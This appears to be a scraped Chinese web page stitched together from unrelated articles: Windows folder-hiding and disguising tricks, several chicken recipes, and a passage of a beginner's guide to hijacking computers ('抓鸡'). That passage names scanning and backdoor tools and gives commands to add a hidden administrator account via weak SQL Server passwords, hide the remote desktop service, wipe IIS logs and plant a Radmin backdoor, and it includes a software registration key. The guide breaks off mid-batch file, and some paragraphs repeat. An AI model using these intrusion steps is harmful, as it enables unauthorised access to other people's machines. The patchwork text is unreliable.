我们新建一个文件夹把它命名为:你想要命名的名字.{208D2C60-3AEA-1069-A2D7-08002B30309D} ,这样你会看到该文件夹的图标变成了网上邻居的文件图标。要是你双击它,执行的动作不是进入文件夹而是真的进入网上邻居,不过如果你直接选中并右击该文件(其实是文件夹),那么选择“打开”即可。去试一试吧!! 更多的后缀: 无关联文件文件名.{00021401-0000-0000-c000-000000000046} BMP文件文件名.{d3e34b21-9d75-101a-8c3d-00aa001a1652} HTML文件文件 名.{25336920-03f9-11cf-8fd0-00aa00686f13} 媒体剪辑文件文件名.{00022601-0000-0000-c000-000000000046} 打印机文件名.{2227a280-3aea-1069-A2de-08002b30309d} 控制面板文件名.{21ec2020-3aea-1069-A2dd-08002b30309d} 网上邻居文件名.{208d2c60-3aea-1069-A2d7-08002b30309d} 拨号网络文件名.{992cffa0-F557-101a-88ec-00dd010ccc48} 计划任务文件名.{D6277990-4c6a-11cf-8d87-00aa0060f5bf} 回收站文件名.{645ff040-5081-101b-9f08-00aa002f954e} Web文件夹文件名.{Bdeadf00-C265-11d0-Bced-00a0c90ab50f} 历史记录文件名.{Ff393560-C2a7-11cf-Bff4-444553540000} 收藏夹文件名.{1a9ba3a0-143a-11cf-8350-444553540000} excel.{00020810-0000-0000-C000-000000000046}

道口烧鸡制作方法与技巧大全

道口烧鸡制作方法与技巧大全 菜品介绍 道口烧鸡是河南滑县道口镇“义兴张”烧鸡店所制,是该省著名的特产。用多种名贵中药,辅之陈年老汤,其成品烧鸡色泽鲜艳,形如元宝,口衔瑞蚨。极具食疗和保健功能。创业于清朝顺治十八年(1661年),至今已有三百多年的历史,开始制作不得法,生意并不兴隆,后从清宫御膳房的御厨那里求得制作烧鸡秘方,做出的鸡十分香美。道口烧鸡的制作技艺历代相传,形成自己的独特风格。1981年被商业部评为全国名特优产品。豫北滑县道口镇,素有"烧鸡之乡"的称号。"义兴张"的道口烧鸡,像金华火腿、高邮鸭蛋、北京烤鸭一样,在全国食品中独占鳌头,并且誉满神州,名扬海外。

道口烧鸡 道口烧鸡创始于清顺治十八年(公元1661年)距今已有三百多年的历史,据《浚县志》及《滑县志》记载,在开始的一百多年时间里,由于技术条件差,尚未具特色,生意并不兴隆。到乾隆五十二年(公元1787年)现在的烧鸡大师、非物质文化遗产代表性传承人张中海的先祖张炳,偶遇清宫御膳房御厨老友刘义,他在道口镇大集街开了个小烧鸡店,因制作不得法,生意萧条。有一天一位曾在清宫御膳房当过御厨的老朋友来访,他身怀绝技。两人久别重

逢,对饮畅谈。张炳向他求教,那朋友便告诉他一个秘方:“要想烧鸡香,八料加老汤。”八料就是陈皮、肉桂、豆蔻、良姜、丁香、砂仁、草果和白芷八种佐料;老汤就是煮鸡的陈汤。每煮一锅鸡,必须加上头锅的老汤,如此沿袭,越老越好。张炳如法炮制,做出的鸡果然香。从此,营业兴旺,张炳把他的烧鸡店定名为“义兴张”,寓意“友义兴张”。 “义兴张”的牌子打出以后,张炳反复实践,在选鸡、宰杀、撑型、烹煮、用汤、火候等方面,摸索出一套经验。他选鸡严格,要选两年以内的嫩鸡,以保证鸡肉质量。挑来的鸡,要留一段候宰时间,让鸡消除紧张状态,恢复正常的生理机能,有利于杀鸡时充分放血,也不影响鸡的颜色。配料、烹煮是最关键的工序。将炸好的鸡放在锅里,对上老汤,配好佐料,用武火煮沸,再用文火慢煮。烧鸡的造型更是独具匠心,鸡体开剖后,用一段高粱秆把鸡撑开,形成两头尖尖的半圆形,别致美观。“义兴张”开业已近三百年了,张炳的烧鸡技术历代相传,始终保持独特

教你隐藏电脑的盘符名与文件夹

教你隐藏电脑的盘符名和文件夹名(一) 近日笔者去好友家拜访,闲来无事玩玩好友新购置的电脑。但点开桌面上的“我的电脑”图标,却发现其中的盘符名称都被隐藏,如蒸发一般(如图1)。 是不是中了病毒?还是使用了什么优化软件?笔者不禁询问好友。后来得知,原来,Windows系统自带了将盘符名隐藏的功能。无需借助优化软件,即可在“我的电脑”和“资源经管器”窗口中不显示盘符

名称。 方法非常简单,在“我的电脑”或“资源经管器”窗口,用户按住键盘左侧的“Shift”键,同时在桌面空白处,使用鼠标右键,在弹出的菜单中选择“查看”-“缩略图”选项,此时用户便会发现,显示为缩略图模式的文件夹图标和盘符图标都没有再显示名称和盘符序号(如图2)。 同时,当好友给笔者找一份文档时,笔者又惊奇的发现,他打开的竟然是一个没有图标,没有名字,完全空白的文件夹。这样的文件夹,或许在平时,肯定会被用户忽略。“既能有效保护,又能彰显个性”好友对这项创举非常得意。不禁对笔者夸道。而这又是如何实现的呢?下一页中,笔者将为大家介绍具体方法

是不是中了病毒?还是使用了什么优化软件?笔者不禁询问好友。后来得知,原来,Windows系统自带了将盘符名隐藏的功能。无需借助优化软件,即可在“我的电脑”和“资源经管器”窗口中不显示盘符名称。 方法非常简单,在“我的电脑”或“资源经管器”窗口,用户按住键盘左侧的“Shift”键,同时在桌面空白处,使用鼠标右键,在弹出的菜单中选择“查看”-“缩略图”选项,此时用户便会发现,显示

为缩略图模式的文件夹图标和盘符图标都没有再显示名称和盘符序号(如图2)。 同时,当好友给笔者找一份文档时,笔者又惊奇的发现,他打开的竟然是一个没有图标,没有名字,完全空白的文件夹。这样的文件夹,或许在平时,肯定会被用户忽略。“既能有效保护,又能彰显个性”好友对这项创举非常得意。不禁对笔者夸道。而这又是如何实现的呢?下一页中,笔者将为大家介绍具体方法 其实,实现将文件夹完全隐藏的方法也非常简单,首先隐藏文件夹名。点击需要进行隐藏的文件夹,点击鼠标右键,点击“重命名”,删除原有名称,输入系统默认的隐藏字符“Alt+160”键,此时松开键盘,文件夹名称已被隐藏(如图3)。

隐藏文件夹的7种方法

一、用“回收站”隐藏文件 “回收站”本是用来暂存已被删除的文件,但如果将我们的个人文件隐藏在“回收站”中,那就可能谁也不会去关注它了。首先,我们在“文件夹选项”中的“查看”选项卡中选择“显示所有文件”,然后进入系统所在分区的根目录,右击“Recycled”文件夹选择“属性”命令,在“属性”对话框中勾选“启用缩略图查看方式”复选框,点击“应用”按钮。这样,系统就会自动将“回收站”的“只读”复选框选中,然后去掉“只读”复选框前的钩,此时,“回收站”的图标将变成一个普通文件夹的形状。双击“Recycled”文件夹,将需要隐藏的个人资料拖进该文件夹窗口中,然后再次右击“Recycled”文件夹并选择“属性”命令,勾选“只读”复选框后,“回收站”图标就又恢复成原状。此后,如果有人双击“回收站”,他就根本看不到里面有任何文件。即便其他用户执行了文件删除操作,同时又执行了“清空回收站”的操作,原先被隐藏在这里的文件仍不会被删除。通过巧妙切换“Recycled”文件夹的属性,我们便可以用它来隐藏自己的秘密文件。 二、将个人文件夹变为“回收站” 我们还可以利用“偷梁换柱”的手法,即将我们的个人文件夹图标变为“回收站”图标。首先,在“Recycl ed”文件夹的属性窗口中去除掉“只读”属性,以便让它变为普通文件夹图标,进入“Recycled”文件夹并将其中的“desktop.ini”隐藏文件复制到需要隐藏的文件夹下,例如“d:\ zhj”;右击“zhj”文件夹并选择“属性”命令,在弹出的对话框中勾选“只读”、“隐藏”复选框,再勾选“启用缩略图查看方式”复选框。现在我们就会发现,“zhj”文件夹已变成“回收站”图标了,但当他人打开该文件夹所看到的却是原来“Recycled”文件夹中的内容,而不会是“zhj”文件夹里的文件。当然,别忘了在“文件夹选项”的“查看”选项卡中选中“不显示隐藏文件”项。 三、始终不显示隐藏文件 在Windows98中,一般地,我们可以通过在个人文件的“属性”对话框中勾选“隐藏”复选框,然后在“文件夹选项”的“查看”选项卡中选择“不显示隐藏文件”单选按钮来达到隐藏秘密的目的,但稍具计算机知识的人只要选择“显示所有文件”单选按钮就能将它们全部显示出来,因此,如果用以上方法来隐藏个人文件的话,就必须对“显示所有文件”这个命令加以限制。方法是:在注册表编辑器中找到“HKEY_LO CAL_MACHIN E\Software\ Microsoft\Windows \CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL”分支,然后在右窗口中找到二进制子键“Ch ecked value”,把其键值改为“0”。这样,即使在“查看”选项卡中选择了“显示所有文件”,但系统仍不会显示出隐藏着的个人文件。并且当他人重新进入“查看”选项卡,他就会发现,系统又自动选中了“不显示隐藏文件”这一项! 更绝的是,利用注册表编辑器,我们可以将“查看”选项卡中的“隐藏文件”项下的三个单选按钮都隐藏掉。我们只需将上述“Hidden”下“NOHIDDEN”、“NOHIDORSYS”、“SHOWALL”三个分支中的“Text”字符串键(注:Windows XP中该键的键值不同)的健值清除掉。这样,退出注册表编辑器后再进入“查看”选项卡,你就会发现“隐藏文件和文件夹”下面空空如也。任何人想要查看我们的个人文件就都是两个字——没门,因为这个地方根本没法选择!

新手抓鸡方法大全

新手抓鸡方法大全 2009-09-09 01:02 抓鸡很多人都会,但不一定全会,今天,我对所有方法做总结,也会介绍! 首先是端口抓鸡,一般比较常用!有3389、1433、445、139、135等 3389端口抓鸡 工具:WINNTAutoAttack自动攻击器(扫漏洞);SQLTOOLS(SA空口令连接器);RAMDIN影子3.0中文版(远程控制程序)(RADMIN注册码: 08US9A95I+lKa9nbOLXqv0V8xqdDvKGcNcTpN2wV11iSqOCVuA 6A5KKZRHc5GVMIybWomK6rNwoj8mYy8LXRFi23);SC.exe port.bat query.exe quser.exe(隐藏3389服务及不让管理发现自己程序);CleanIISLog.exe(小榕的擦PP程序);3389.exe(开3389端口服务的);psu.exe(使用被禁止的Guest帐户要用到的);mstsc.exe(远程桌面连接程序)。 一.扫到SA弱口令(自动攻击器) 二.用SQLTOOLS连上去建一个用户 net start telnet 开telnet服务 net user mint mint /add 添加用户mint密码为 mint net localgroup administrators mint /add 将帐号mint升级为管理员 三.上传后门程序RAD.EXE(RADMIN服务端自解压程序) 制作RAD.EXE过程: 1、到Radmin安装目录下找到AdmDll.dll、 raddrv.dll和r_sever.exe; 2、在本地设置服务端(一定要生成); 设置密码-->>设置连接端口(默认4489)-->>生成 3、导出注册表HKEY_LOCAL_MACHINE\SYSTEM\Radmin的键值为1.reg; 4、编写一个批处理,并命名为u.bat; @echo offnet stop r_server

隐藏文件夹超级技巧大全(强烈推荐)

隐藏文件夹高级技巧方法一: 建立超级无敌文件夹 步骤: 第一步:在运行中输入cmd,回车,打开命令行窗口 第二步:在命令行窗口中切换到想要建立文件夹的硬盘分区,如D盘 第三步:输入MD D:123..\回车,注意文件夹名后有2个小数点 OK,搞定,看看你的D盘下面是不是多了一个名为123.的文件夹了?它是既不 能进入又不能被删除的!不信你就试试看吧^_^ 那么,如果自己想删除或者进入这个文件夹,又应该如何操作呢?同样也很 简单。 如果想删除,在命令行窗口中输入RD D:123..\回车,即可删除,当然删除前请 确认里面的文件都是不需要的,不要删错了,呵呵。 如果想进入,在命令行窗口中输入start D:\123..\(注意这里一定要是文件夹

的绝对路径,否则无法打开即可打开此文件夹,你就可以随心所欲的把不想让别 人看到的资料放进去啦! 一:attrib命令语法介绍 ①:语法介绍 attrib [{+r | -r}] [{+a | -a}] [{+s | -s}] [{+h | -h}] [[Drive:][Path] FileName] [/s[/d]] ②:参数介绍 +r 设置只读文件属性。 -r 清除只读文件属性。 +a 设置存档属性。 -a 清除存档属性。 +s 设置系统文件属性。 -s 清除系统文件属性。 +h 设置隐藏文件属性。 -h 清除隐藏文件属性。 /s 将attrib 和任意命令行选项应用到当前目录及其所有子目录中的匹配文件。 /d

将attrib 和任意命令行选项应用到目录。 /? 在命令提示符下显示帮助。 上述参数中[] 或{}内的参数为可选参数,即可以设置,也可以不设置;+号表示添加该属性;-号表示清除该属性; 二:应用举例 ①:给文件添加单个属性和清除属性 1:attrib +h c:\MyTxt.txt //给c:\盘中的MyTxt.txt文本文件添加隐藏属性; 2:attrib -h c:\MyTxt.txt //清除c:\盘中的MyTxt.txt文本文件的隐藏属性; ②:给文件添加多个属性和清除多个属性 1:attrib +r +h c:\MyTxt.txt //给c:\盘中的MyTxt.txt文本文件添加只读属性和隐藏属性; 2:attrib -r -h c:\MyTxt.txt //清除c:\盘中的MyTxt.txt文本文件的只读属性和隐藏属性; 3:attrib +r +a +s +h c:\MyTxt.txt //给c:\盘中的MyTxt.txt文本文件添加只读属性、存档、系统和隐藏属性; 4:attrib -r -a -s -h c:\MyTxt.txt //清除c:\盘中的MyTxt.txt文本文件的只读属性、存档、系统和隐藏属性; ③:给当前目录及所有子目录(文件夹本身)和所有文件添加属性 1:attrib +r +h /s c:\test //给c:\中的test目录及子目标和所有文件添加只读、隐藏属性; 1:attrib +r +h /d c:\test //给c:\中的test目录和所包含的文件添加只读、隐藏属性; 知识扩展: 可以使用attrib /? 命令来显示attrib的用法; 隐藏文件夹高级技巧方法二:

史上最全的做鸡的方法[图片]

[转]史上最全的做鸡的方法[图片] 点击图片翻页 白斩鸡 原料: 土鸡、葱、沙姜、生抽 做法: 烧沸一锅水,把整只鸡放入,熄火;盖好盖,焖着十分钟,以斩出来的鸡块骨髓带血为适,斩件后,点着调料吃。 特点: 保持了鸡肉的鲜美、原汁原味 点击图片翻页

材料: 鸡、盐、料酒、味精、葱姜丝、蛋、团粉、水、油、花椒盐 做法: 将鸡摘洗干净,切小方块,加盐、料酒、味精、葱姜丝腌一会儿,再挂鸡蛋、团粉和水合成的糊,过油炸黄,凉后再炸一次至熟,吃时蘸花椒盐 沸油鸡 材料: 鸡、盐、料酒、酱油、水、油、花椒盐 做法: 将鸡摘洗干净,去骨,抹上盐、料酒、酱油,过油炸熟再用*子挑起离油,用勺子舀起热油反复浇鸡身上,浇至鸡皮烫焦改切小块,吃时蘸花椒盐。 锅烧鸡 材料: 鸡、肉汤、葱段、姜块、蒜片、盐、料酒、酱油、白糖、花椒、大料、蛋清、团粉、油、花椒面 做法: 将鸡摘洗干净,放锅内添肉汤,加段、姜块、蒜片、盐、料酒、酱油、白糖、花椒、大料,煮熟去骨,再挂由蛋清团粉合成的糊,过油炸黄,捞出剁1寸长段或条盛盘内,撒上花椒面即成。 点击图片翻页 香酥鸡

鸡、料酒、盐、花椒、葱姜丝、团粉、油、花椒盐 做法: 将鸡摘洗干净,抹上料酒,搓上盐,撒上花椒,鸡肚内塞上葱姜丝稍停一会儿,上笼料,再去掉葱姜丝、花椒,抹上酱油,挂上团粉过油炸酥成金黄色,切成小块盛盘内。 点击图片翻页 香菇鸡 材料: 鸡、香菇、油、盐、酱油、料酒、白糖、肉汤、葱段、姜块、蒜片、花椒、大料、味精、香油 做法: 将鸡摘洗干净,剁块,香菇泡开去根,洗净(多洗几遍)。锅内放少量油烧热,加鸡块炒至变色,加香菇、盐、酱油、料酒炒几睛,再加白糖少许、肉汤、葱段、姜块、蒜片、花椒、大料,炖熟后加味精,淋上香油即成。 葱油鸡 材料: 鸡、水、料酒、盐、大料、桂皮、五香面、葱姜丝、味精、油 做法: 将鸡摘洗干净放锅内,添水,加料酒、盐、大料、桂皮、五香面,煮烂与汤一同取出盛盆内,加盖焖2小时取出切块盛盆,再加葱姜丝、味精、原汤少许,随即将油烧开倒出浇在葱姜丝上即成

鸡翅的13种经典做法

鸡翅的13种经典做法,实在太好吃了! [图片] 1、奥尔良烤鸡翅(一)材料:10个鸡翅、蜂蜜、酱油、盐、料酒(红酒也可)、姜、红干辣椒、五香粉、黑胡椒感觉:口感不错,最大的优点是不腻,全部吃光。(二)作法:1.如果是速冻鸡翅,请先解冻。把10个新鲜鸡翅放在一个可在微波炉内加热的器皿内。 2.加入少量酱油,放2勺酱油足可。 3.加入料酒或红酒,大约2勺子,主要用于去掉鸡翅的腥味。 4.加入盐、少许姜沫、少许辣椒子,少许五香粉,少许黑胡椒。 5.将鸡翅和作料搅拌均匀,充分粘取作料。 6.盖好盖子将鸡翅放在冰箱冷藏室腌制,电视上讲最好是一宿(所以一定要提前准备,不能现吃现做。如果实在很急,也要腌制2-3个小时,充分进味儿)。 7.将腌制好的鸡翅取出,涂抹上蜂蜜(这样色泽味道才对!)可根据口味适当增加蜂蜜涂抹的多少。 8.将涂抹好蜂蜜的鸡翅放进微波炉,中高火加热(11分钟即可。) 2、家庭微波烤翅(简易美味)(一)方法非常简单,味道也很好: 1.一斤翅中,放冷水洗净,放在有眼的篮子中沥干。 2.从超市中买来配好的烤鸡翅的粉(类似于甜不辣的那种),将其一包,70克左右倒入一个干净的食品袋,最好是那种长方形不带提手的那种。 3。将表面已经洗净沥干的鸡翅倒入食品袋中,抓住口往里吹一大口气(注意眼睛,小心不要弄到

眼睛里),迅速的抓紧袋口,顺时针或反时针拧几下,然后拿着袋口上下晃个十下左右,这样鸡翅和粉就结合得非常均匀了。 4。松开袋口,拿出来,然后放在烤盘上,进烤箱,高火7分钟;然后改中火1-2分钟,就可以出来啦,简单易做,非常适合周末的时候做下午茶,边吃边看电视 3、必胜客烤鸡翅----如果没有买这个粉,可以用下面的方法,稍麻烦一点: 1、鸡翅中若干洗干净,沥水。 2、盘中倒入生抽,蚝油,鸡精、盐、糖适量,黑胡椒粉,生姜粉,五香粉,料酒,最好再来些老干妈的豆豉(有些辣香味)。将它们调均,将鸡翅中放入,腌制20分钟以上。 3、腌制好的鸡翅中,刷上一层食用油,然后刷上一层果酱(我用的是蓝梅酱),最后刷一层蜂蜜。都刷好后,放入烤盘中,高火10分钟,然后拿出翻个,再烤8分钟,大功告成。(二)1、先在鸡翅正反两面划几刀,然后用老抽、生抽、韩国辣酱、烧烤料、香油腌上,裹保鲜膜放冰箱,第二天就能烤乐。烤前先在一面抹上蜂蜜,撒烧烤料,波2分钟,然后拿出来,翻面,抹蜂蜜,撒烧烤料,再波两分钟,OK!~我家的微波炉没有烧烤功能的,用的cook,好象火力比较猛的,4分钟足够啦,鸡翅不会太干,有汁水,貌似有烧烤功能的时间要稍微长一些 2、刷蜜 3、在下面的考盘上铺上一层锡纸,超市都有卖的,这样烤的时候油和蜂蜜直接滴在锡纸上,烤完锡纸一扔,考盘刷起来比较容易 4、加热7、8分钟后翻面再加热5分钟。大功告成~~ (三)鸡翅冲洗干净,然后用干净卫生纸吸干表面水分,备用。 1、配调料:适量的酱油、糖、盐、味精、辣油混合调匀 2、鸡翅中间剖开一刀,将调料淋入,撒上蒜末,盖上保鲜膜,放冰箱里冷藏20分钟,让调料入味 3、拿出鸡翅,抹上油,放微波炉烤制(烘烤小火大约十分钟,请依微波炉不同火力选择)如此,就做好了堪比必胜客的鸡翅,好好吃哦!而且自己买的鸡翅好便宜,如果有烤炉还可以做个披萨,啧啧,比在店里吃经济实惠多啦(四)1、将鸡翅洗净,加入盐、鸡精、胡椒粉、白糖、白酒、孜然、葱、姜腌制1小时左右待用;. 2、将鸡翅摆放好,待烤箱预热后,放入鸡翅以200度的温度烤7分钟后取出,均匀的抹上蜂蜜,再放入烤5分钟,取出再刷一层蜂蜜入烤箱烤2分钟即成。

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